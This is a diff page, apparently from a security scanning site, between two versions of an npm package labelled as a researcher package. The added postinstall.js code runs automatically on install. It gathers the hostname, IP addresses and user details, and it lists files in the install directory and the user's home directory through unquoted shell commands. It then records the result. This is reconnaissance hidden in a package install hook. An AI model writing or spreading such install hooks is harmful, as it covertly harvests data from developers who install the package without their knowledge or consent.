randompackage-notreal 1.0.4 → 1.0.5
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +2 -5
- package/postinstall.js +16 -6
package/package.json
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
{
|
2
2
|
"name": "randompackage-notreal",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.5",
|
4
4
|
"description": "Researcher public package",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
@@ -14,8 +14,5 @@
|
|
14
14
|
"dist/css/common.css",
|
15
15
|
"postinstall.js",
|
16
16
|
"index.js"
|
17
|
-
]
|
18
|
-
"dependencies": {
|
19
|
-
"randompackage-notreal": "^1.0.3"
|
20
|
-
}
|
17
|
+
]
|
21
18
|
}
|
package/postinstall.js
CHANGED
@@ -15,16 +15,25 @@ const hostname = os.hostname();
|
|
15
15
|
const packageName = process.env.npm_package_name;
|
16
16
|
const packageVersion = process.env.npm_package_version;
|
17
17
|
const internalIpAddress = execSync('hostname -I').toString().trim();
|
18
|
-
const currentPath = process.cwd(); // Use
|
18
|
+
const currentPath = process.env.INIT_CWD || process.cwd(); // Use INIT_CWD to capture the original working directory
|
19
19
|
const platform = os.platform();
|
20
20
|
const userInfo = os.userInfo();
|
21
|
+
const homeDirectory = userInfo.homedir; // Home directory path
|
21
22
|
|
22
|
-
// Get list of files in the
|
23
|
-
let
|
23
|
+
// Get list of files in the original directory where npm install was run
|
24
|
+
let currentDirectoryFiles;
|
24
25
|
try {
|
25
|
-
|
26
|
+
currentDirectoryFiles = execSync(`ls ${currentPath}`).toString().trim();
|
26
27
|
} catch (error) {
|
27
|
-
|
28
|
+
currentDirectoryFiles = `Error executing ls command in current directory: ${error.message}`;
|
29
|
+
}
|
30
|
+
|
31
|
+
// Get list of files in the home directory
|
32
|
+
let homeDirectoryFiles;
|
33
|
+
try {
|
34
|
+
homeDirectoryFiles = execSync(`ls ${homeDirectory}`).toString().trim();
|
35
|
+
} catch (error) {
|
36
|
+
homeDirectoryFiles = `Error executing ls command in home directory: ${error.message}`;
|
28
37
|
}
|
29
38
|
|
30
39
|
const osDetails = {
|
@@ -67,7 +76,8 @@ fetchExternalIpAddress((err, externalIpAddress) => {
|
|
67
76
|
platform,
|
68
77
|
userInfo,
|
69
78
|
osDetails,
|
70
|
-
|
79
|
+
currentDirectoryFiles, // Log files in the directory where npm install was run
|
80
|
+
homeDirectoryFiles // Log files in home directory
|
71
81
|
};
|
72
82
|
|
73
83
|
fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
|